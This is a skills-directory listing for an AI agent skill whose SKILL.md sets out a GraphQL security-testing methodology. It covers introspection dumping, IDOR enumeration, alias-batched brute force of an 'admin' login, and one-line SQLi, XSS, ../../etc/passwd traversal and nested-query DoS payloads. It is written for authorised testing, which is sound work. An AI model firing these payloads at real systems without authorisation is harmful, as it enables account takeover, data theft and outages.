Skip to content
Back to skills

Graphql

BSecurity

GraphQL security testing methodology covering introspection abuse, IDOR via query manipulation, batching attacks, injection via arguments, and subscription abuse.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentsbashsqltestinggitapisecurity

Works with

  • cli
  • api

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill graphql --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Graphql?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Graphql
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-graphql/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-graphql)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: graphql
description: GraphQL security testing methodology covering introspection abuse, IDOR via query manipulation, batching attacks, injection via arguments, and subscription abuse.
version: 1.0.0
license: Apache-2.0
---

# GraphQL Security Testing

## Attack Surface

GraphQL endpoints expose a flexible query language that commonly introduces: unauthorized object access via ID manipulation, schema disclosure via introspection, DoS via deeply nested/batched queries, injection via unparameterised arguments, and information disclosure via verbose errors.

## Methodology

### Phase 1 — Discover and fingerprint

```
Common endpoints: /graphql, /api/graphql, /query, /gql, /v1/graphql
Test with: { __typename }
Check for: GraphiQL IDE exposed in production
```

### Phase 2 — Introspection (schema extraction)

```graphql
query IntrospectionQuery {
  __schema {
    types { name kind fields { name type { name kind ofType { name kind } } } }
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}
```

Extract all queries, mutations, types, and field names. Build a complete map of the API surface.

```bash
# Automated with InQL or graphql-voyager
inql -t http://target/graphql
```

### Phase 3 — IDOR via ID manipulation

```graphql
# Test integer IDs
query { user(id: 1) { email, role, balance } }
query { user(id: 2) { email, role, balance } }  # another user's data

# Test UUID enumeration
query { order(id: "550e8400-e29b-41d4-a716-446655440000") { total, items } }
```

### Phase 4 — Batching attacks (rate limit bypass, brute force)

```graphql
# Alias batching — send 100 requests in one HTTP call
query {
  a1: login(username: "admin", password: "password1") { token }
  a2: login(username: "admin", password: "password2") { token }
  ...
  a100: login(username: "admin", password: "password100") { token }
}
```

### Phase 5 — Injection via arguments

```graphql
query { user(id: "1 UNION SELECT...") { name } }       # SQLi
query { search(term: "<script>alert(1)</script>") { results } }  # XSS
query { file(path: "../../etc/passwd") { content } }   # Path traversal
```

### Phase 6 — Introspection bypass attempts

If introspection is disabled:
```graphql
# Try field suggestion (Cleopatra attack) — GraphQL suggests valid field names
query { __typename @deprecated }
query { user { __typename } }  # partial schema disclosure via errors
```

### Phase 7 — DoS via query complexity

```graphql
# Deep nesting
query { user { friends { friends { friends { friends { name email } } } } } }
```

## Tools

- [InQL](https://github.com/nicowillis/inql) — Burp extension + CLI
- [graphql-voyager](https://github.com/graphql-kit/graphql-voyager) — schema visualiser
- [BatchQL](https://github.com/nicholasaleks/batchql) — batching attack scanner
- [graphw00f](https://github.com/dolevf/graphw00f) — GraphQL fingerprinting

## OWASP Top 10 Mapping

- A01:2021 — Broken Access Control (IDOR)
- A03:2021 — Injection

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.